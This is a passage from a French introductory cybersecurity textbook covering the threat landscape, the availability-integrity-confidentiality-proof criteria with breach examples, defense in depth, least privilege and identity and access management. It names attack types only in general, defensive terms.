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			Préambule

			Bienvenue dans cet ouvrage !

			Je me présente : je suis Giuliano Ippoliti, et j’occupe depuis plusieurs années le poste de directeur de la cybersécurité au sein d’un fournisseur de services cloud français, très engagé dans la protection des données.

			Je mène en parallèle une carrière de formateur, qui me donne le plaisir de transmettre les compétences que j’ai acquises au fil des années, à travers mon expérience de terrain et la préparation de plus de trente certifications.

			Ce livre s’adresse à tous les lecteurs désireux de maîtriser les fondamentaux de la cybersécurité et d’en approfondir les principes essentiels. D’une manière accessible, il couvre l’ensemble des domaines clés, qu’ils soient techniques (cryptologie, durcissement, sécurité des réseaux, techniques d’attaque et de défense) ou organisationnels (normes de sécurité, gestion des risques, audit, gouvernance, sensibilisation).

			La cybersécurité est une discipline fascinante, idéale pour des esprits curieux et ouverts à l’apprentissage.

			Je vous souhaite un agréable voyage dans cet univers passionnant et espère que les connaissances acquises au fil de ces pages vous seront utiles.

		

	
		
			

			

			Introduction

			Importance de la cybersécurité

			Enjeux de la sécurité des SI

			Le mot « cybersécurité », popularisé dans les années 1990, désigne le rôle de l’ensemble des lois, politiques, outils, dispositifs, concepts et mécanismes de sécurité, méthodes de gestion des risques, actions, formations, bonnes pratiques et technologies qui peuvent être utilisés pour protéger les actifs informatiques matériels et immatériels des organisations. La cybersécurité fait donc appel à toutes les techniques de sécurité des systèmes d’information et s’appuie sur la lutte contre la cybercriminalité et sur la mise en place d’une cyberdéfense.

			En raison de la numérisation progressive de la société moderne, la protection des données a acquis une importance fondamentale pour le bon fonctionnement de toute entreprise et collectivité. Une atteinte à la sécurité des données de ces organisations peut entraîner des conséquences multiples : interruption des processus métier, pertes financières, sanctions juridiques, atteinte à l’image.

			

			La cybersécurité s’est également invitée dans la sphère privée : la plupart des informations qui nous sont précieuses sont stockées sous forme numérique : informations bancaires, messages électroniques, carnets d’adresses, documents administratifs, photos et vidéos. Une négligence dans la protection de ces informations est synonyme d’ennuis en tout genre.

			Nos données personnelles sont parfois désignées sous le nom d’« or numérique », car elles sont au centre d’intérêts colossaux, notamment :

			- Financiers : ciblage publicitaire, marketing comportemental, revente d’informations, actions illégales (par exemple usurpation d’identité, vol de secrets, vengeance).

			- Politiques : manipulation de l’opinion publique, endoctrinement, surveillance de masse, espionnage.

			Le règlement général sur la protection des données (RGPD) a été mis en place à l’échelle de l’Union européenne comme instrument juridique de défense des données à caractère personnel ; nous y reviendrons dans la suite du cours.

			Panorama des menaces cyber

			L’actualité regorge malheureusement de récits de cyberattaques ; aucune structure n’est épargnée : collectivités locales, établissements de santé, entreprises du CAC 40, entreprises de services du numérique (ESN), ETI, PME et TPE.

			Selon l’Agence nationale de la sécurité des systèmes d’information (ANSSI)1, les sources des cyberattaques peuvent être regroupées en trois grandes catégories :

			1.Nuisances quotidiennes : cette catégorie englobe des actions automatisées menées par une multitude d’acteurs, malveillants ou non, qui peuvent perturber le fonctionnement des systèmes d’information. Parmi ces nuisances figurent les scans de ports, les campagnes de spams et les tentatives massives d’exploitation de vulnérabilités.

			

			2.Menaces cybercriminelles : principalement motivées par des intérêts financiers, ces attaques visent à générer des profits à travers des actes malveillants sur les systèmes d’information. Il existe un véritable marché autour de cela, pouvant inclure le vol de données sensibles ou personnelles pour revente, le rançonnage par chiffrement (ransomware), ou encore les attaques par déni de service (DDoS).

			3.Menaces étatiques : opérées par des attaquants soutenus par des États et particulièrement sophistiquées, ces attaques ciblent précisément des entités afin de récolter des informations stratégiques, technologiques et économiques, ou encore de réaliser des actions de sabotage.

			Les ransomwares (« rançongiciels » en français) représentent actuellement la menace informatique la plus sérieuse pour les entreprises et institutions, par le nombre d’attaques quotidiennes et leur impact potentiel sur la continuité de l’activité. Au lieu de se contenter de chiffrer les fichiers, les ransomwares dits de « double extorsion » commencent par exfiltrer les données. Le chantage associé est le suivant : si l’entreprise refuse de payer la rançon, les informations peuvent être publiées en ligne ou vendues au plus offrant.

			D’autres menaces sont à prendre en considération, notamment les suivantes, basées sur la crédulité de la cible :

			- Phishing (hameçonnage) : technique frauduleuse s’appuyant sur un leurre (appel, SMS, mail) et incitant à communiquer des données confidentielles en se faisant passer pour un tiers de confiance.

			- Fraude au président : manipulation consistant à obtenir des informations ou un gain financier, dans laquelle l’attaquant se fait passer pour un responsable et demande un traitement urgent.

			- Matériel piégé : fourniture d’un support amovible (ex. : clé USB) ou d’un périphérique (ex. : souris, borne de recharge de téléphone…) contenant un moyen d’attaque infectant l’équipement lors de la connexion.

			Nous y reviendrons sur le chapitre consacré au piratage psychologique.

			Les principaux moyens techniques d’attaque, en plus du ransomware déjà cité, sont :

			- Le spyware (logiciel espion) : logiciel dont l’objectif est de collecter et de transmettre à des tiers des informations sur l’environnement sur lequel il est installé, à l’insu du propriétaire et de l’utilisateur. Ce type de malware est aussi désigné sous les noms de « cheval de Troie » ou « trojan ».

			

			- Le man in the middle (homme du milieu) : catégorie d’attaque où une personne malveillante s’interpose dans un échange de manière transparente pour les utilisateurs ou les systèmes, à des fins d’écoute ou de modification des échanges.

			- Déni de service : attaque ayant pour but de rendre indisponible un service, d’empêcher les utilisateurs légitimes d’un service de l’utiliser.

			L’ANSSI a publié régulièrement des documents autour de la menace cyber. Les derniers rapports montrent une hausse importante des intrusions avérées, qui s’explique par l’évolution et l’amélioration constante des capacités de l’écosystème cybercriminel, marquée par une professionnalisation et une spécialisation constantes.

			Ces rapports contiennent d’autres constats frappants. Il existe une porosité entre les deux principaux profils d’attaquants : les acteurs cybercriminels et ceux qui sont soutenus par des gouvernements. L’espionnage informatique reste la principale finalité poursuivie par les attaquants étatiques et constitue l’essentiel de l’activité traitée dans le cadre des opérations de cyberdéfense conduites par l’ANSSI. Le ciblage d’infrastructures critiques est également une préoccupation majeure.

			Une attention particulière doit être accordée aux attaques ciblant la chaîne d’approvisionnement (supply chain), une méthode particulièrement prisée par les attaquants. Cette tendance présente des risques de propagation rapide depuis un éditeur de logiciels ou une entreprise de services numériques ciblés, pouvant entraîner une compromission en cascade :

			- La multiplication des attaques informatiques a conduit à une explosion des fuites de données, notamment personnelles. Qu’elles soient issues de divulgations effectuées par des opérateurs de rançongiciels, d’opérations de déstabilisation ou de revente d’informations par des cybercriminels, ces données alimentent un cercle vicieux. En effet, elles facilitent de nombreuses attaques informatiques en fournissant des portes d’entrée aux attaquants.

			- Encore trop d’organisations n’appliquent pas à temps les correctifs publiés par les éditeurs de logiciels et offrent aux attaquants un vecteur d’infection initiale relativement aisé à mettre en œuvre sur les systèmes exposés sur Internet. En effet, dès la mise à disposition d’une méthode d’exploitation, en l’espace de quelques jours voire de quelques heures, l’exploitation de vulnérabilités peut être industrialisée notamment grâce à l’identification d’instances vulnérables par le biais de scans massifs et servir des finalités diverses, depuis l’espionnage informatique jusqu’à des attaques à finalité lucrative.

			

			Cette énumération des menaces pourrait inciter certaines organisations à surinvestir dans leur protection ou à se replier sur elles-mêmes par crainte d’attaques. Cependant, il est crucial de rappeler qu’une organisation doit rester ouverte sur le monde extérieur pour assurer son bon fonctionnement. L’enjeu réside donc dans l’établissement d’un équilibre : mettre en place une sécurisation adaptée qui protège efficacement sans entraver les activités quotidiennes.

			Recherche de l’équilibre

			La sécurité au service des métiers

			Dans le monde professionnel, la sécurité de l’information n’est pas une fin en soi : elle trouve son sens dans le soutien aux activités métier (business) des organisations, qu’elles soient publiques ou privées.

			Les bienfaits apportés par les démarches de sécurisation sont multiples :

			- Réduction des conséquences liées aux incidents de sécurité, qu’elles soient financières, juridiques ou liées à l’image.

			- Maintien de la conformité aux exigences légales et réglementaires applicables à l’organisation.

			- Résilience des processus métier en cas de cyberattaque ou de sinistre.

			- Confiance apportée aux parties prenantes (clients, prospects, fournisseurs, employés, etc.), et qui dit confiance dit business !

			Cela étant dit, toute mesure de sécurité a un coût, parfois très élevé lorsqu’on déploie des équipements « dernier cri », et introduit des contraintes : un excès de sécurité peut être paradoxalement aussi néfaste qu’une carence et entraver significativement le bon fonctionnement d’une organisation. Le bon niveau de sécurité dépend du contexte, qui n’est clairement pas le même pour une centrale nucléaire que pour une petite entreprise artisanale.

			

			L’établissement et la mise en œuvre d’un système de management de la sécurité de l’information d’une organisation doivent tenir compte des besoins et des objectifs de l’organisation, des exigences de sécurité, des processus organisationnels mis en œuvre, ainsi que de la taille et de la structure de l’organisation. Tous ces facteurs d’influence sont appelés à évoluer dans le temps ; il est donc prévu qu’un système de management de la sécurité de l’information évolue conformément aux besoins de l’organisation.

			Les professionnels de la sécurité doivent faire preuve d’écoute et de compréhension vis-à-vis des responsables métier, en faisant preuve d’humilité.

			Le rôle de la direction

			Nous venons de voir que les responsables sécurité doivent s’imprégner du contexte métier des organisations pour lesquelles ils opèrent.

			D’un autre côté, la direction des organisations a un rôle clé à jouer pour que la démarche de sécurisation aboutisse.

			Comme indiqué dans la norme ISO 27001, qui fait partie des référentiels les plus importants en matière de sécurité de l’information, la direction doit faire preuve de leadership et affirmer son engagement en faveur du système de management de la sécurité de l’information en :

			- S’assurant qu’une politique et des objectifs sont établis en matière de sécurité de l’information et qu’ils sont compatibles avec l’orientation stratégique de l’organisation.

			- S’assurant que les exigences liées au système de management de la sécurité de l’information sont intégrées aux processus métiers de l’organisation.

			- S’assurant que les ressources nécessaires pour le système de management de la sécurité de l’information sont disponibles, en lien avec les résultats des appréciations des risques.

			

			- Communiquant sur l’importance de disposer d’un management de la sécurité de l’information efficace et de se conformer aux exigences du système de management de la sécurité de l’information.

			- S’assurant que le système de management de la sécurité de l’information produit le ou les résultats escomptés.

			- Orientant et soutenant les personnes pour qu’elles contribuent à l’efficacité du système de management de la sécurité de l’information.

			- Promouvant l’amélioration continue et aidant les autres managers concernés à faire également preuve de leadership dès lors que cela s’applique à leurs domaines de responsabilités.

			Si la direction ne comprend pas ces enjeux et n’incarne pas cette exemplarité, la démarche de sécurisation est vouée à l’échec.

			Le bon équilibre

			Il est désormais clair que toute organisation doit rechercher le bon équilibre concernant la sécurité, selon différents aspects :

			- Sécurité versus productivité : comme évoqué, un excès de sécurité peut alourdir sensiblement les processus métier, provoquer de la frustration au sein des collaborateurs, et même provoquer des démissions, surtout en l’absence d’une pédagogie efficace. La responsabilité d’arbitrage revient à la direction ; les responsables sécurité doivent bien sûr mettre la direction en condition de réaliser un choix éclairé, en présentant de façon claire les enjeux.

			- Sécurité versus maîtrise des coûts : un excès de sécurité peut également générer des dépenses disproportionnées par rapport aux risques couverts. Illustrons cela par un exemple : si une évaluation quantitative des risques attribue à un scénario donné un impact financier moyen de 10 000 € par an (ex. : 1 probabilité sur 10 de survenue par an, avec impact de 100 000 € le cas échéant), il est clair qu’il n’est pas pertinent de déployer une mesure de sécurité qui coûte 20 000 € par an, car son coût dépasse le bénéfice apporté. Il est aussi important de prendre en compte autant que possible tous les coûts associés au déploiement des mesures de sécurité, notamment les coûts de maintenance et d’exploitation.

			- Pro versus perso : il est certain que le mélange pro-perso nuit à la sécurité, aussi bien en cas d’utilisation de matériel professionnel dans un contexte personnel, que dans le cas contraire. Une publication gouvernementale2 fournit des recommandations à ce sujet :

			1.Utilisez des mots de passe différents pour tous les services professionnels et personnels auxquels vous accédez.

			2.Ne mélangez pas vos messageries professionnelle et personnelle.

			3.Ayez une utilisation responsable d’Internet au travail.

			4.N’utilisez pas de services de stockage en ligne personnel à des fins professionnelles.

			5.Évitez les réseaux Wi-Fi publics ou inconnus.

			Cela étant dit, les organisations peuvent avoir intérêt à ce que leurs collaborateurs travaillent depuis leur logement personnel, et puissent en cas d’urgence utiliser des équipements de communication personnels. Encore une fois, la direction doit trouver le bon équilibre en prenant en compte les recommandations des responsables sécurité.

			- Ambition versus réalisme : une organisation pourrait être tentée par l’application immédiate de mesures drastiques pour relever rapidement son niveau de sécurité. Cette approche, qui part d’une intention louable, risque de se heurter à la réalité et échouer. Les principales normes de sécurité prônent une approche graduelle basée sur l’amélioration continue. Bien sûr, un défaut d’ambition est aussi négatif : si la direction n’affiche pas son volontarisme, la démarche de sécurisation ne vaincra pas la résistance au changement des équipes. Encore une fois, il faut trouver le bon équilibre.

			- Confiance versus méfiance : toute organisation a besoin de travailler avec des tiers : fournisseurs de services d’infogérance, hébergeurs, éditeurs de logiciels, partenaires commerciaux, etc. Il n’est pas simple de choisir ses partenaires en toute confiance. Certes, on peut prévoir des clauses de sécurité dans les contrats, valider des plans d’assurance sécurité, prévoir des pénalités en cas de violation des engagements de sécurité, demander des certifications, demander des rapports d’audit ou de tests d’intrusion. Cependant, un excès de lourdeur dans le processus d’achat peut introduire des coûts supérieurs aux bénéfices, voire empêcher des accords qui auraient été profitables. Le niveau d’exigence sur la sécurité des fournisseurs doit être proportionnel à leur criticité.

			

			
				
					1 https://cyber.gouv.fr/
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					 https://www.cybermalveillance.gouv.fr/tous-nos-contenus/bonnes-pratiques/securite-usages-pro-perso

				
			

		

	
		
			

			

			Chapitre 1

			Concepts de base

			Critères D, I, C, P

			Définitions

			L’objectif des disciplines regroupées sous le nom de cybersécurité est de protéger les besoins en sécurité de l’information : disponibilité, intégrité, confidentialité et preuve.

			Pour bien comprendre cela, analysons les termes introduits :

			- Information : il s’agit d’un concept clé, qui a fait l’objet d’intenses études théoriques, notamment à partir de la moitié du XXe siècle avec les travaux de Claude Shannon. La norme ISO 27000, référentiel international des termes et définitions autour de la sécurité, fait pourtant l’impasse sur cette notion. Dans le contexte de cet écrit, désignons l’information comme « élément de connaissance susceptible d’être représenté à l’aide de conventions pour être conservé, traité ou communiqué ». De façon plus pragmatique, cela indique le patrimoine de connaissances et savoir-faire d’une entreprise, qui peuvent être stockés sous forme de données électroniques, papier, ou même faire l’objet d’une transmission exclusivement orale.

			

			- Disponibilité : propriété d’être accessible et utilisable à la demande par une entité autorisée. S’il n’est pas immédiat d’associer ce critère à la sécurité, il est pourtant essentiel, notamment si on pense à des données de santé, dont l’indisponibilité en situation d’urgence peut potentiellement mener au décès d’un patient. 

			- Intégrité : propriété d’exactitude et de complétude. L’intégrité est touchée en cas d’altération illicite des données.

			- Confidentialité : propriété selon laquelle l’information n’est pas diffusée ni divulguée à des personnes, des entités ou des processus non autorisés. Ce critère est probablement le plus intuitif des quatre.

			- Preuve : propriété permettant de retrouver, avec une confiance suffisante, les circonstances dans lesquelles l’information est traitée. Cette propriété englobe la traçabilité des actions menées, l’authentification des utilisateurs et l’imputabilité du responsable de l’action effectuée.

			Cas de violation

			Pour mieux apprécier les besoins en sécurité, aussi appelés « critères de sécurité », passons en revue des cas de violation :

			Disponibilité :

			- Attaque par déni de service, à travers laquelle le système ciblé n’est plus en mesure de répondre aux requêtes légitimes. Le cas le plus classique concerne un service web rendu inutilisable, bombardé par du trafic malveillant, souvent généré par un ensemble d’ordinateurs, parfois plusieurs dizaines de milliers, contrôlés par l’attaquant (botnet).

			- Suppression d’informations, résultant d’une action hostile délibérée ou juste d’une erreur humaine.

			

			- Incident hardware ou software qui met un système hors service, le rendant incapable de traiter les requêtes des utilisateurs.

			- Mauvaise configuration des droits d’accès, qui prive les utilisateurs légitimes d’un accès à l’information.

			- Infection par un virus de type cryptolocker (rançongiciel), qui chiffre les données les rendant inutilisables et demande souvent une rançon pour la transmission d’une clé de déchiffrement.

			- Défaillance du processus de sauvegarde et de restauration, avec comme résultat l’impossibilité de récupérer les informations qu’on croyait préservées.

			- Perte, vol ou destruction d’un support de stockage.

			- Défaillance d’un prestataire cloud, à l’issue d’un incident de sécurité à son niveau, ou même d’une faillite (lock-out).

			Intégrité :

			- Défacement (changement illicite de contenu) de la page d’accueil d’un site web.

			- Altération du contenu d’une base de données, par un attaquant malveillant ou à la suite d’un incident informatique.

			- Maquillage des informations journalisées (logs) pour effacer les traces d’une action illicite.

			- Infection virale provoquée par un malware qui modifie les fichiers exécutables, dans le but de se propager.

			- Altération des données en transit sur le réseau résultant d’une attaque de type « man in the middle », dans laquelle un attaquant intercepte les données et les modifie à la volée.

			Confidentialité :

			- Compromission d’une boîte de messagerie, par un attaquant externe ou par un employé du service informatique abusant de ses droits d’administration.

			- Vol de données et publication de celles-ci sur un canal public.

			- Exposition de données sensibles résultant d’une mauvaise configuration des droits d’accès.

			- Consultation de documents sensibles oubliés dans l’imprimante ou, dans le même esprit, déposés dans une simple corbeille à papier plutôt que dans le destructeur de documents.

			

			- Exfiltration des données saisies au clavier par un cheval de Troie qui enregistre les frappes.

			- Transmission de documents sensibles au mauvais destinataire.

			- Interception de données en transit résultant d’une attaque de type « man in the middle ».

			- Communication d’un mot de passe à un attaquant qui utilise des techniques de phishing ou d’ingénierie sociale.

			- Mauvaise configuration d’une application web qui permet un accès public à des données secrètes.

			Preuve :

			- Manque de granularité dans les actions journalisées par un système ou une application, ne permettant pas de reconstruire la suite d’actions à l’origine d’un incident de sécurité.

			- Destruction des logs par un attaquant qui cherche à effacer ses traces.

			- Utilisation d’un compte utilisateur compromis afin de réaliser des actions malveillantes.

			- Compte générique partagé entre plusieurs personnes d’un même service, rendant impossible la corrélation entre action loguée et personne individuelle l’ayant réalisée.

			- Faille dans le mécanisme d’authentification d’une application, résultant en une possibilité d’accès illicite.

			Afin de compléter les précisions terminologiques, notons que le mot « sûreté » est parfois utilisé à côté du mot « sécurité ». Quelle est la différence entre ces deux termes ? Il n’est finalement pas si simple d’obtenir une réponse claire, et la distinction peut parfois prêter à confusion. Dans le support de sensibilisation CyberEdu3, l’ANSSI donne cette définition :

			- Sûreté : protection contre les dysfonctionnements et accidents involontaires.

			- Sécurité : protection contre les actions malveillantes volontaires.

			
				
					
				
				
					
							
							
								
									

									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- Habituellement on traite une perte de disponibilité comme un incident de sécurité seulement si elle est vraiment significative (plusieurs systèmes touchés et/ou forts impacts métier) ou si elle est d’origine malveillante (déni de service par exemple). Une microcoupure avec perte de quelques « pings » n’est généralement pas considérée comme un incident de sécurité.

							- Le partage de la connaissance du mot de passe d’un compte d’administration générique se rencontre relativement souvent dans les services d’administration informatique. Si on ne peut pas traiter le problème à la racine avec des comptes nominatifs, il faut réfléchir à des mesures compensatoires pour conserver la 

						
					

					
							
							traçabilité des actions, par exemple mettre en place un système de croisement des logs de plusieurs systèmes impliqués dans la connexion (postes de travail, serveur DHCP, pare-feu, etc.).

						
					

				
			

			Règles d’or de la sécurité

			Quels que soient le périmètre technologique, le contexte organisationnel ou le cadre réglementaire, les principes de sécurité suivants ont une valeur quasiment universelle.

			Connaître ses actifs

			

			La première chose à faire quand on souhaite protéger son patrimoine informationnel est d’en acquérir une connaissance précise.

			Cela passe par la formalisation d’un inventaire, souvent implémenté dans une CMDB (Configuration Management DataBase), concept emprunté par la cybersécurité au référentiel ITIL.

			Il est très important d’identifier un responsable pour chaque actif, soit en tant que personne physique (ex. : responsable réseau), soit en tant qu’équipe ou service (ex. : service RH). Il est également important d’indiquer, pour les actifs concernés, les informations suivantes :

			- Documents contractuels en lien avec l’actif (durée d’engagement, conditions financières, clauses de sécurité, etc.).

			- Conditions de maintenance (période de couverture, obligations côté client, obligations côté fournisseur, etc.).

			- Niveau de support (HO ou HNO, modalités de déclenchement, garantie de temps d’intervention [GTI], garantie de temps de rétablissement [GTR], etc.).

			- Licence (durée de validité, contraintes d’utilisation, etc.).

			Un défaut d’exhaustivité de l’inventaire ou une définition manquante ou imprécise des responsabilités mènent inexorablement à la création de « zones d’ombre », où les règles de sécurité ne sont pas appliquées et où les vulnérabilités ont tendance à proliférer. Citons l’exemple d’un serveur oublié dont personne ne connaît la fonction et dont personne ne s’occupe des mises à jour de sécurité : ce serveur « poussiéreux » constitue une porte d’entrée de premier choix pour un attaquant à la recherche du maillon faible d’un système d’information.

			Il est intéressant de remarquer que la connaissance des actifs est significativement facilitée par le déploiement de solutions d’inventaire automatisées : quand on répertorie les éléments « à la main », on s’expose à l’erreur humaine, à un défaut d’exhaustivité et à un défaut de mise à jour (inventaire toujours en retard par rapport à la réalité).

			Notons que la méthode de déploiement « Infrastructure as Code », adoptée principalement dans les clouds publics (à travers des outils comme Terraform, AWS CloudFormation, Azure Resource Manager), aide à garder un suivi précis et nativement versionné des éléments d’une infrastructure.

			

			Il faut aussi noter que les fournisseurs de cloud public fournissent des solutions « as a service » pour gérer l’inventaire des actifs déployés, l’exemple le plus parlant étant peut-être le service AWS Config.

			Principe de défense en profondeur

			Il s’agit d’une technique qui vise à retarder ou à démotiver l’attaquant, en employant plusieurs mesures de sécurité afin de réduire le risque lorsqu’une mesure particulière est contournable ou défaillante. On le désigne aussi sous le nom de « défense multicouche ».

			La pertinence de ce concept est probablement plus compréhensible quand on pense à la sécurité des biens physiques plutôt qu’à la sécurité des informations. Par exemple, quand on souhaite protéger des locaux en appliquant une défense en profondeur, on déploie plusieurs couches de sécurité : mur d’enceinte, barrière, tourniquet, système de badges à l’entrée, caméras de vidéosurveillance, alarme, etc.

			Par analogie, quand il s’agit de protéger un système d’information, ce principe est implémenté en déployant plusieurs familles de mesures de sécurité, que ce soit d’un point de vue chronologique par rapport au déroulement d’un incident de sécurité (mesures dissuasives, préventives, de détection, correctives et de restauration) ou par catégorie (mesures techniques/logiques, physiques, administratives).

			Décrivons plus en détail les types de mesures de sécurité, par positionnement chronologique :

			Mesures dissuasives : elles visent à décourager une violation, en essayant d’influencer un attaquant afin qu’il renonce à passer à l’acte ou se tourne vers une autre cible. 

			Exemples :

			- Obligation pour les employés de signer une charte de bonne utilisation du système d’information, qui prévoit des mesures disciplinaires en cas de transgression.

			- Affichage d’avertissements lors de la connexion à l’interface d’administration d’un système sensible.

			

			- Obtention de certifications de sécurité et communication autour de cela.

			Mesures préventives : elles visent à empêcher la survenue d’incidents de sécurité en bloquant l’attaque à ses débuts. 

			Exemples :

			- Déploiement d’un pare-feu applicatif qui filtre les requêtes web malveillantes dirigées vers le site à protéger.

			- Chiffrement des données sensibles.

			- Déploiement d’un système d’authentification multifacteur.

			Mesures de détection : elles visent à identifier une activité malveillante, potentiellement liée à une compromission du système d’information. 

			Exemples :

			- Déploiement d’un IDS (Intrusion Detection System).

			- Déploiement d’un SIEM (Security Information and Event Management).

			- Achat des services d’un SOC (Security Operations Center).

			Mesures correctives : elles visent à répondre efficacement à une attaque. 

			Exemples :

			- Déploiement d’un anti-malware capable de bloquer une tentative d’infection.

			- Application d’un patch capable de corriger une faille exploitée par un attaquant.

			- Déconnexion du réseau d’un système compromis.

			Mesures de restauration : elles visent la reprise d’activité à la suite d’un sinistre éventuellement lié à un incident de sécurité. 

			Exemples :

			- Mise en place d’un PRA (plan de reprise d’activité) et déclenchement en cas de besoin.

			- Restauration des sauvegardes à la suite d’une infection de type cryptolocker.

			- Activation du télétravail pour permettre aux employés de continuer à travailler en cas d’indisponibilité du site sinistré.

			Et voici le détail des catégories de mesures de sécurité :

			

			Mesures techniques, appelées aussi logiques : elles agissent principalement sur les données en format électronique. 

			Exemples :

			- Configuration d’une interdiction de branchement de clés USB personnelles.

			- Déploiement d’un serveur proxy pour filtrer le trafic web des employés.

			- Déploiement d’une solution MDM (Mobile Device Management) pour gérer la conformité de la flotte de téléphones mobiles.

			Mesures physiques : elles visent surtout la protection des locaux et des biens matériels. 

			Exemples :

			- Mise en place d’un sas unipersonnel pour réguler l’accès à une salle serveurs.

			- Déploiement de lecteurs biométriques pour réguler l’accès à des zones sensibles.

			- Déploiement d’un système anti-incendie dans une salle serveurs.

			Mesures administratives : elles se basent sur des documents écrits (politiques, chartes, contrats, assurances). 

			Exemples :

			- Définition d’une politique de sécurité.

			- Définition, dans un contrat de sous-traitance, de clauses spécifiques à la sécurité de l’information (taux de disponibilité des systèmes, fréquence d’application des sauvegardes, obligation de remplacer les systèmes obsolètes, etc.).

			- Définition d’une charte d’administration des systèmes informatiques, réservée au personnel technique.

			Principe du moindre privilège

			On accorde à un utilisateur les permissions minimales pour qu’il puisse accomplir son travail. L’idée de base est que toute permission non nécessaire peut donner lieu à des abus, soit par l’utilisateur en question, soit par un attaquant qui aurait pris contrôle du compte.

			

			Une simple application de ce principe est la non-attribution aux employés des droits d’administration sur leur poste de travail, d’un côté pour interdire l’installation « sauvage » de software potentiellement dangereux (cf. Shadow IT), de l’autre pour limiter les conséquences d’une compromission du compte (l’attaquant devra réussir une escalade de privilèges pour « passer administrateur »).

			La philosophie du principe du moindre privilège se retrouve dans les déclinaisons suivantes :

			- Principe du besoin d’en connaître, qui restreint l’accès aux informations sensibles.

			- Principe de réduction de la surface d’attaque, qui consiste à désactiver sur un serveur ou équipement réseau tous les services ou composants logiciels non strictement nécessaires, afin de limiter les possibilités d’attaque.

			- Principe « deny all » dans la configuration des règles des pare-feux, où par défaut tout flux est interdit et où seuls les flux nécessaires sont autorisés.

			- Préférence du whitelisting au blacklisting : il est préférable d’interdire par défaut et d’autoriser des exceptions plutôt qu’autoriser par défaut et interdire des exceptions.
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							- Maintenir une CMDB exhaustive et à jour est beaucoup plus facile à dire qu’à faire, pourtant l’enjeu est de taille. Toute CMDB maintenue de façon manuelle risque d’avoir un temps de retard par rapport à la réalité, comme évoqué : nouveaux actifs non répertoriés, numéros de version pas à jour, présence de serveurs déjà décommissionnés…

						
					

					
							
							

							Il faut s’appuyer sur un logiciel d’inventaire et se doter d’un processus d’intégration d’actifs qui comporte une étape où on vérifie que les nouveaux actifs « remontent » bien dans la CMDB.

							- L’application du principe du moindre privilège est aussi plus facile à énoncer qu’à appliquer. Il faut mettre en place des revues régulières des accès, aussi automatisées et fréquentes que possible ; certaines normes imposent une périodicité de trois mois.

							- Il est relativement fréquent, lorsqu’on réalise une revue des règles d’un pare-feu, qu’on y trouve des règles trop permissives (incluant une permission pour « any ») qui étaient censées être temporaires, le temps d’une session de débogage. Dans ce cas, ce n’est pas simple d’assainir la situation, car si on restreint les flux, on risque de rencontrer des effets de bord en coupant des flux légitimes. En pratique, on procède comme suit : monitorer les logs pendant plusieurs jours, identifier les flux légitimes puis restreindre la règle permissive aux flux légitimes, en se tenant prêt à élargir au cas par cas si besoin.

						
					

				
			

			Gestion des identités et des accès

			Une identité numérique est une information utilisée par les systèmes informatiques pour représenter un agent externe. Cet agent peut être une personne, une organisation, une application ou un appareil. La norme ISO 24760-1 définit l’identité comme « un ensemble d’attributs liés à une entité ». Les informations contenues dans une identité numérique permettent d’évaluer et d’authentifier un utilisateur interagissant avec un système d’entreprise sur le Web, sans l’intervention d’opérateurs humains. Les identités numériques permettent d’automatiser notre accès aux ordinateurs et aux services qu’ils fournissent, et permettent aux ordinateurs de servir de médiateurs dans les relations.

			

			La gestion des identités et des accès, souvent désignée par l’acronyme IAM (Identity and Access Management), est un élément essentiel de la sécurisation d’un système d’information. Son objectif est de parvenir à une bonne maîtrise des habilitations des utilisateurs.

			Ses composantes sont les suivantes :

			Identification : étape dans laquelle un utilisateur déclare son identité, à travers un nom d’utilisateur (login), une adresse mail, un certificat ou de façon générale un élément lié à son identité.

			Authentification : moyen de prouver l’identité déclarée dans la phase d’identification. Cela passe par la présentation d’un ou plusieurs facteurs d’authentification ; on parle d’authentification multifacteur ou MFA (Multi-Factor Authentication) quand au moins deux facteurs sont nécessaires à la vérification de l’identité. Les facteurs plus couramment utilisés sont :

			- Facteur de connaissance (« something you know ») : un mot de passe, un PIN, la réponse à une question secrète, une phrase secrète, etc.

			- Facteur de possession (« something you have ») : un token, un téléphone mobile (à travers une application de type « authenticator »), une carte à puce ou même un document d’identité, etc.

			- Facteur biométrique (« something you are or do ») : empreinte digitale, visage, forme de la main, voix, rétine, dynamique de frappe au clavier, etc.

			Autorisation : étape qui intervient juste après l’authentification et détermine les habilitations (droits) de l’utilisateur authentifié. Le concept d’autorisation est proche de celui de contrôle d’accès. Plusieurs types de contrôle d’accès peuvent être implémentés, en général désignés par des acronymes anglais. Les principaux sont :

			- DAC (Discretionary Access Control), où les droits d’accès sont définis de façon décentralisée par les propriétaires des ressources (cf. permissions UNIX classiques).

			- MAC (Mandatory Access Control), où les droits d’accès sont définis de façon centralisée (cf. SELinux).

			- RBAC (Role-Based Access Control), où les droits d’accès sont définis en fonction de la fonction de l’utilisateur, qui détermine généralement ses groupes d’appartenance. Nous pouvons noter qu’il est préférable d’accorder des droits selon les groupes plutôt qu’utilisateur par utilisateur, car c’est plus flexible et se prête mieux à gérer des changements de fonction (il suffit de déplacer l’utilisateur en question dans les nouveaux groupes et le retirer des groupes auxquels il n’appartient plus).

			

			- ABAC (Attribute-Based Access Control), où les droits d’accès sont définis par des politiques qui prennent en compte les attributs de l’utilisateur et de la ressource à laquelle il essaie d’accéder.

			Les revues régulières des habilitations, idéalement automatisées, aident à identifier des comptes non légitimes ou avec un niveau de droits trop élevé par rapport aux besoins métier. Ces comptes peuvent être liés à des mauvaises pratiques dans la gestion des arrivées et des départs, mais peuvent également avoir été créés manuellement par un acteur malveillant, interne ou externe, ou automatiquement par un malware.

			Traçabilité (accounting) : fonction qui permet de reconstruire finement toutes les actions qu’un utilisateur a effectuées sur les ressources auxquelles il a accédé. Pour parvenir à cela, les bonnes pratiques suivantes sont à prendre en considération :

			- Bannir, dans la mesure du possible, les comptes génériques partagés entre plusieurs personnes d’un service.

			- Configurer les journaux (logs) pour qu’ils aient le bon niveau de détail et collectent les événements pertinents pour la sécurité des informations (succès et échecs d’authentification, modification de droits, erreurs applicatives, etc.).

			- Veiller à la synchronisation des horloges sur l’ensemble des équipements, dans le but de reconstruire plus aisément la chronologie d’un incident ou en général d’une opération.

			- Se doter d’une politique de journalisation, qui précise notamment les mesures pour protéger l’intégrité des logs et leur durée de conservation, en fonction des contraintes légales et réglementaires.

			- Privilégier un annuaire d’authentification centralisé plutôt que de multiplier les référentiels d’identité.

			Les fournisseurs de cloud public ont développé des solutions d’IAM très poussées, notamment :

			- (Amazon) AWS Identity and Access Management.

			- (Microsoft) Azure Active Directory.

			- (Google) Cloud IAM.

			- (Alibaba) Resource Access Management. 

			

